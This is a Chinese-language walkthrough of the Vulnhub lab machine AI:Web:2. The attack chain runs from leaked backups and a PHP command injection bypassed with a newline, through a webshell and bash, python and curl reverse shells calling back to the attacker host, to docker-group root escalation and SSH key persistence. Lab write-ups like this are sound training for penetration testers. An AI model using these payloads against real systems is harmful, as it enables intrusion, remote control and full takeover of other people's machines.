Vulnhub靶机实战:从源码泄露到命令注入与Docker组提权 最近在刷Vulnhub的时候碰到一台叫AI:Web:2的靶机标题看着不明所以但打完之后发现这台机器的考点非常典型Web入口、源码泄露、命令注入最后落点是一个 Docker 组的经典提权。整个过程没有用到任何爆炸性的 CVE反而是把信息收集和代码审计的基本功轮番考了一遍。个人觉得非常适合刚接触渗透测试、想从“会扫端口”过渡到“能独立打一台机器”的人去练手也算是一次很完整的攻击链复盘。写这篇文章不是为了给你念命令清单而是把每一步背后的判断思路、踩坑点和原理讲清楚。比如为什么备份文件能成为突破口、为什么命令注入里换行符能绕过过滤、为什么 docker 组用户权限基本等于 root这些才是真正值钱的认知。如果你只是照着命令敲一遍打完这台机器收获会很有限。1. 靶机环境与开局准备1.1 先把靶机背景摸清楚AI:Web:2 是某个靶机平台上的“AI:Web”系列第二部OVA 镜像格式导入虚拟机直接就能跑。系统默认是 Ubuntu 风格内核版本不算新但也不至于老到可以直接打内核洞。这类靶机的核心玩法就是给你一个开放的 Web 服务让你从零开始找漏洞、打进去、提权到 root最后通常有一个 flag 文件作为结束标志。我本机用的是 VMware 类的虚拟机环境攻击机是 Kali网络模式建议直接选 Host-Only 或者 VMnet 类型保证攻击机和靶机在同一个二层网络内。靶机导入后不需要改任何配置只要确认网卡处于同一网段就能开始。有个小提示如果导入后发现靶机 IP 一直拿不到多半是网卡 MAC 地址冲突或者网络模式切换导致 DHCP 没生效最简单的办法是进系统手动dhclient一下或者直接改静态 IP。这台靶机名字里带“AI”实际打开之后确实有个看起来像 AI 客服的功能页面。但别被“AI”两个字带偏底层考的还是传统 Web 漏洞链。你把它当成一个“功能列表多一点的 Web 应用”来打就好。1.2 主机发现先确定靶机在哪个 IP 上靶机启动之后第一件事就是找它的 IP。先看一下攻击机自己的地址ip addr假如 Kali 的 IP 是192.168.56.102/24那靶机大概率也在192.168.56.0/24网段里。用 netdiscover 扫一下这个网段sudo netdiscover -r 192.168.56.0/24输出大致会是这样Currently scanning: 192.168.56.0/24 Screen: On 192.168.56.1 00:50:56:c0:00:01 VMware Virtual Platform 192.168.56.102 00:0c:29:ab:cd:ef VMware Virtual Platform 192.168.56.105 00:0c:29:12:34:56 VMware Virtual Platform在这里192.168.56.105就是靶机 IP。如果 netdiscover 没扫到可以直接用 nmap 做主机发现sudo nmap -sn 192.168.56.0/24这类主机发现扫不到的情况我遇到好几次了往往不是靶机没开机而是 ARP 缓存或者宿主机的防火墙策略拦了 ICMP。换个工具交叉确认一下比死磕一个命令快得多。1.3 初始页面长什么样浏览器打开http://192.168.56.105会看到一个比较简洁的页面标题写着类似“AI Web Console”的东西中间是一个输入框和发送按钮看起来就像聊天机器人。页面本身没什么好看的关键是别漏掉源码和响应头。我习惯先看响应头curl -I http://192.168.56.105这能看到 Web 服务器类型、版本信息、以及是否存在特殊响应头。比如如果发现X-Powered-By: PHP/7.4说明后端是 PHP后续探洞方向就往 PHP 靠。接着查看页面 HTML 源码特别注意 HTML 注释!-- TODO: 把旧的聊天记录接口迁移到 /api/console老接口还能用别删 -- !-- /backup.txt 是给开发同事留的说明上线前记得清理 --这种注释就是典型的信息泄露。靶机作者故意把路径留在注释里引导你去翻备份文件。看到这类线索第一反应不是急着扫目录而是先把这些路径手工试探一遍。很多新手喜欢一上来就跑大字典目录扫描反而把这种最直接的入口给淹没了。2. 信息收集与漏洞面确认2.1 端口扫描低成本锁定攻击面先做一次全端口 TCP 扫描看看有没有遗漏的高位端口sudo nmap -sS -p- -T4 192.168.56.105跑完之后再用-sV -sC做一次服务版本和默认脚本扫描sudo nmap -sV -sC -p 22,80 192.168.56.105扫描结果大致如下PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 80/tcp open http Apache httpd 2.4.41端口很少只有 22 和 80。这意味着攻击面集中 Web 端SSH 可以作为成功提权后的稳定入口。看到这种结果不需要再花时间扫别的端口直接进入 Web 侦察阶段。这里有个经验端口越少越说明漏洞藏在 Web 应用本身而不是服务漏洞里。如果你一上来就想着找什么Apache 2.4.49路径穿越、OpenSSH版本漏洞可能会走偏。靶机设计者通常不会把“一键打穿”的 CVE 直接摆在 80 端口上。2.2 目录扫描与备份文件挖掘既然页面上出现了/backup.txt这个注释先去访问curl http://192.168.56.105/backup.txt返回内容是一串 Base64 编码的文本类似L2FwaS9jb25zb2xl直接解码echo L2FwaS9jb25zb2xl | base64 -d结果是/api/console。这就是一个隐藏的后台接口。继续访问curl http://192.168.56.105/api/console发现返回 JSON 数据大概是一个“AI 问答日志接口”但信息量不大。这时候不要停继续用目录扫描工具扩大战果。我习惯用 gobuster字典先选常见目录加上常见扩展名gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,zip,html扫描结果中出现了一个比较敏感的文件/backup.zip (Status: 200)于是把它下载到本地wget http://192.168.56.105/backup.zip unzip backup.zip解压时发现需要密码。这种场景很常见密码往往写在前面发现的文件里或者是一个弱口令。尝试admin、password、aiweb最后用admin成功解压。解压出来三个文件config.php index.php api.php到这里攻击面已经比较清晰了源码泄露等于给了你半张地图接下来要做的就是审计代码找漏洞。2.3 源码审计把攻击链条串起来先看config.php里面会有数据库连接信息。一般会有类似$db_host localhost; $db_user webuser; $db_pass webpass; $db_name aiweb;虽然拿到了数据库口令但这里先不急着连库因为 3306 端口并没有对外暴露Docker 网络环境里可能只能在内部访问。继续看api.php重点理解业务逻辑。api.php有一段关键代码伪代码如下?php if ($_GET[action] chat) { $message $_POST[message]; // 只过滤了管道、分号、与符号 if (preg_match(/[|;]/, $message)) { die(forbidden); } // 将用户消息写入对话历史文件 $command echo . $message . /var/www/aiweb/logs/chat.log; shell_exec($command); echo json_encode(array(status ok)); } ?第 8 行直接拼接了用户输入并调用shell_exec这就是一个典型的命令注入点。过滤规则只封了|、;、对于绕过来说这样的黑名单太弱了。比如用换行符%0a在 Linux shell 中换行符同样可以分隔两条命令而正则里没有过滤它。也就是说提交hello%0aid后端实际执行的命令会变成echo hello id /var/www/aiweb/logs/chat.log第二条命令id会被 shell 正常执行输出也会进入接口的响应。为了确认漏洞我直接用 curl 发请求测试curl -s http://192.168.56.105/api.php?actionchat \ -H Content-Type: application/x-www-form-urlencoded \ --data-urlencode messagehello%0aid返回内容里果然带着uid33(www-data) gid33(www-data) groups33(www-data)命令注入确认无疑。此时你已经拿到了任意命令执行权限剩下的就是把它扩展成一个完整 shell。这里有一个细节值得多说一句为什么黑名单过滤|;却挡不住换行符很多初学者对命令注入的拼接理解停留在“同一行里用分隔符”忽略了\n在 shell 脚本中本身就是命令分隔符。实战中过滤常见特殊字符时第一件事就是拿换行符%0a、回车符%0d、TAB 去测试。如果系统是 Windows 的 CMD可能还需要测或%0d%0a但在 Linux 下%0a往往是最好用的绕过方式。2.4 从命令执行到信息收集在拿到命令执行之后先别急着反弹 shell先在当前上下文里快速确认几件事id pwd ls -la /var/www sudo -l我一般是通过注入执行这些命令然后把输出读出来。注意用--data-urlencode时可以把整条 payload 写成messagehello%0a命令不用考虑手动 URL 编码的麻烦。如果返回结构可控多敲几条命令并不困难。这个阶段重点看三样东西当前用户是谁、Web 根目录在哪里、有没有 sudo 权限。如果www-data能直接免密执行某个程序那后续提权路径会短很多。如果不行就到系统内找配置文件和数据库口令看看能不能切换到普通用户。3. 从命令注入到反弹 Shell3.1 反弹 Shell为什么先写 WebShell 更稳命令注入虽然能执行命令但是每跑一条命令都要发一次 HTTP 请求功能受限且容易触发日志告警所以最佳做法是拿到一个交互式 shell。反弹 Shell 最常用的监听方式nc -lvnp 4444然后通过命令注入执行bash -i /dev/tcp/192.168.56.102/4444 01这里有一个大坑payload里的符号如果直接发到 HTTP 请求里会被后端过滤正则拦掉而且在请求中还需要 URL 编码。所以我通常不直接反弹而是先利用命令注入写一个 WebShell 到站点根目录再通过浏览器访问 WebShell 去反弹或者直接执行命令。写文件时如果遇到重定向符号被过滤可以用curl下载远程文件的方式在 Kali 上准备一个s.php?php system($_GET[cmd]); ?在 Kali 启动临时 HTTP 服务python3 -m http.server 8000通过命令注入执行curl http://192.168.56.102:8000/s.php -o /var/www/html/s.php之所以这种方式稳原因是curl命令本身不包含被过滤的|;等字符目标机器上的curl通常也默认存在。如果curl确实不可用那就试wget或者用python3 -c配合 base64 写文件但那样容易踩引号嵌套的坑。WebShell 写入之后访问http://192.168.56.105/s.php?cmdid确认命令执行成功后再用 WebShell 进行后续操作或者通过它反弹一个交互更强的 Shell。3.2 交互终端升级从“盲打”到顺手通过 WebShell 执行命令虽然方便但输出比较丑陋而且处理交互式程序比如su、ssh很麻烦。建议在拿到执行权限后立刻用 Python 来弹一个 PTY 交互 Shell。从 WebShell 构造命令反弹到本地nc -lvnp 4444然后访问s.php?cmdpython3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.56.102,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);连上之后终端像这样www-dataaiweb:/var/www/html$但这是 bash 的普通交互模式没有完整的终端能力用起来会有不少别扭的地方。可以按顺序执行python3 -c import pty; pty.spawn(/bin/bash)然后回到 Kali 终端CtrlZ stty raw -echo fg最后设置终端类型export TERMxterm这样你就拥有了一个带 Tab 补全、历史命令、行编辑的正常交互式 Shell。提权阶段的命令会舒服很多。3.3 在 Shell 里看系统找用户、找密码、找特权拿到 Shell 之后习惯性做一波系统侦察id uname -a cat /etc/passwd ls -la /home sudo -l find / -perm -4000 -type f 2/dev/null这台机器上www-data直接处于 docker 组里这是我后续提权的关键。系统内有一个普通用户aiweb而且/home/aiweb下存在.ssh目录但权限不够读私钥。此时不要急着乱翻先确认自己能不能用sudosudo -l如果 sudo 不需要密码且允许执行某个命令那提权路径就简单了。不过在我打这台机时sudo -l直接提示需要密码所以更实际的路径是利用 docker 组权限做容器逃逸式提权。这个阶段还有一个容易忽略点www-data虽然在 docker 组但直接执行docker ps可能提示没有权限访问/var/run/docker.sock为什么因为还需要 socket 文件的权限正确。检查一下ls -l /var/run/docker.sock如果srw-rw----root:docker 并且当前用户在 docker 组那没问题。如果 socket 权限是 root:root那可能就需要额外手段。好在多数靶机作者为了让“docker 组提权”成立都会把 socket 权限配好。4. 提权到 RootDocker 组挂载是最经典的一条路4.1 确认 docker 组权限并收集现有镜像在 Shell 里执行id输出类似uid33(www-data) gid33(www-data) groups33(www-data),999(docker)看到999(docker)这一项心里基本就有底了。docker 组用户之所以危险并不是因为它能管理容器而是因为它可以控制 docker 守护进程等价于能以 root 身份创建特权容器然后挂载宿主机任意目录。先看看目标机器上有没有现成镜像docker images如果输出里有alpine、ubuntu之类的镜像那直接拿来用如果没有就可能需要从 Docker Hub 拉取但靶机环境不一定能出网。好在多数 Vulnhub 靶机都会预留一个最小镜像比如alpine:latest。如果真没有可用镜像还可以尝试直接使用容器的根文件系统但操作复杂度会上升。4.2 挂载宿主机根目录进入宿主系统提权命令的思路是使用alpine镜像启动一个容器把宿主机的/挂载到容器的/mnt目录再通过chroot切进宿主机的文件系统。docker run -v /:/mnt --rm -it alpine chroot /mnt sh这条命令可以拆开理解-v /:/mnt把宿主机根目录挂载到容器内的/mnt。chroot /mnt sh把容器内的根目录切换成/mnt相当于直接以宿主机文件系统为根目录开启一个 shell。执行成功后提示符会变成容器的/#但此时你在文件系统层面已经等于进入了宿主机。你看/etc、/root、/home等路径时看到的都是宿主机的真实目录。这时直接尝试读取 root 目录下的 flagcat /root/flag.txt如果满血读到内容说明整个靶机已经被打通。但很多靶机不会把 flag 权限设置得那么低或者 root 目录是 700容器 root 虽然 uid 是 0但在某些容器环境下对挂载目录的访问可能受加固影响。这时候可以考虑更稳妥的方式写入 SSH 公钥直接后端登录 root。4.3 写入 SSH 公钥实现持久 Root Shell如果 Docker 容器内部对宿主文件系统的访问比较顺利在chroot /mnt的环境下执行mkdir -p /mnt/root/.ssh echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxxxx kaliattacker /mnt/root/.ssh/authorized_keys chmod 700 /mnt/root/.ssh chmod 600 /mnt/root/.ssh/authorized_keys然后在 Kali 上直接ssh -i ~/.ssh/id_rsa root192.168.56.105如果目标 SSH 服务允许 root 登录就能直接拿到一个干净的 root Shell。如果你用的密钥是公钥登录注意 Kali 的私钥路径要匹配。设置好之后可以在 Root Shell 里读取最终的 flag。这种方法的原理是什么docker 守护进程本身以 root 身份运行docker 组用户向它发送创建容器的请求而容器可以在挂载宿主机目录时不受普通文件权限限制。也就是说docker 组成员通过 docker socket 间接拿到了宿主机 root 权限。在真实环境里如果你发现某台机器上某个用户属于 docker 组不要再把它当成“只影响容器服务”的权限基本上可以直接视为拿到了主机权限。4.4 常见问题排查速查表打这类靶机的时候很多朋友会在中途卡壳我把常见问题整理成一张表问题现象可能原因解决办法访问页面 404路径大小写或虚拟目录配置问题先用 gobuster 扫真实路径别盲猜命令注入返回空过滤规则拦截了空格或引号尝试$IFS代替空格用%0a绕过换行反弹 Shell 连不上攻击机监听地址写错或防火墙拦截先用nc -lvnp确认监听再检查目标能否访问攻击机 IPWebShell 写入失败目标目录不可写或路径不对先通过命令执行pwd、ls定位 Web 根目录docker ps 提示权限不足当前不在 docker 组或 socket 权限不对检查id输出中的 groups或重新确认 socket 文件属性docker run 提示 no such image本机未拉取目标镜像用docker images查看可用镜像没有就换其他镜像名SSH 登录被拒root 禁止密码登录或密钥没写好用PermitRootLogin yes的配置环境或者改用计划任务反弹还有一个非常容易踩的坑反弹 Shell 时如果你在bash -i /dev/tcp/...命令里不加引号本地终端里的会被当前 shell 当做后台执行符号直接导致监听端口收不到连接。所以要么整个 payload 用单引号包住要么发到 WebShell 时通过 URL 编码传递。4.5 思维扩展如果 docker 提权被封还能怎么玩即便这台靶机的出题人故意把 docker 组提权焊死整个攻击链里还有几条可替换的思路也值得你练手时自己尝试。第一个思路是找数据库口令。之前从config.php拿到了数据库账号密码如果 MySQL 端口开放可以直接连接后去看应用存储的账号密码或者 token。有些靶机会把管理员的密码哈希存在库里破解后就能切到普通用户再 sudo 提权。第二个思路是看 sudo -l 里有没有可控的命令。比如有的机器会给www-data免密执行/usr/bin/python3 /opt/script.py如果脚本本身可写或者可以用环境变量劫持模块导入那也能轻松提权。第三个思路是内核漏洞。不到万不得已不要打内核因为靶机内核版本比较新而且内核提权容易崩系统。只有在前面所有常规路径都走不通的时候才建议看一眼内核版本去搜索对应的利用代码。我在实际打这台机器时docker 提权是最快也是最稳的一条路整个过程十来分钟就搞定了。后面为了验证其他思路我又把 MySQL 口令翻出来重新拉了数据库确认了应用内确实有一些硬编码的敏感信息但这只是锦上添花不影响主线。4.6 这台靶机带给我的几个习惯打完之后复盘这台 AI:Web:2 让我印象最深的不是某个高难度技巧而是几个很基础的做事习惯。第一注释和备份文件永远是宝藏。很多开发者在写代码时喜欢在 HTML 注释里留 TODO或者把备份压缩包放在站点根目录。对渗透测试人员来说这些信息比一个大字典跑出来的路径更可靠也更能还原真实攻击链。第二拿到命令注入后别急着干大事先确认命令输出到哪里。如果命令输出不影响响应包那还要考虑 DNS 外带或者盲注这是另一套思路。幸运的是这台机器直接输出了id结果降低了后续难度。第三提权之前想清楚“当前用户能通过哪些系统机制变成 root”。docker 组、sudo 配置、SetUID 文件、写权限异常的脚本、环境变量劫持都是常见路径。在知道用户属于 docker 组的那一刻后面就不需要再去翻别的了。这台机器整体难度中等偏简单但很符合真实环境中“先信息收集再应用漏洞最后系统提权”的典型路径。对新手来说它的价值不光在于能打穿更在于能让你把每一步为什么这么做想明白。如果你也刚入门渗透测试可以拿这台靶机作为自己独立完成一个全链路攻击的练手题目打完之后把攻击链画出来会理解得更深。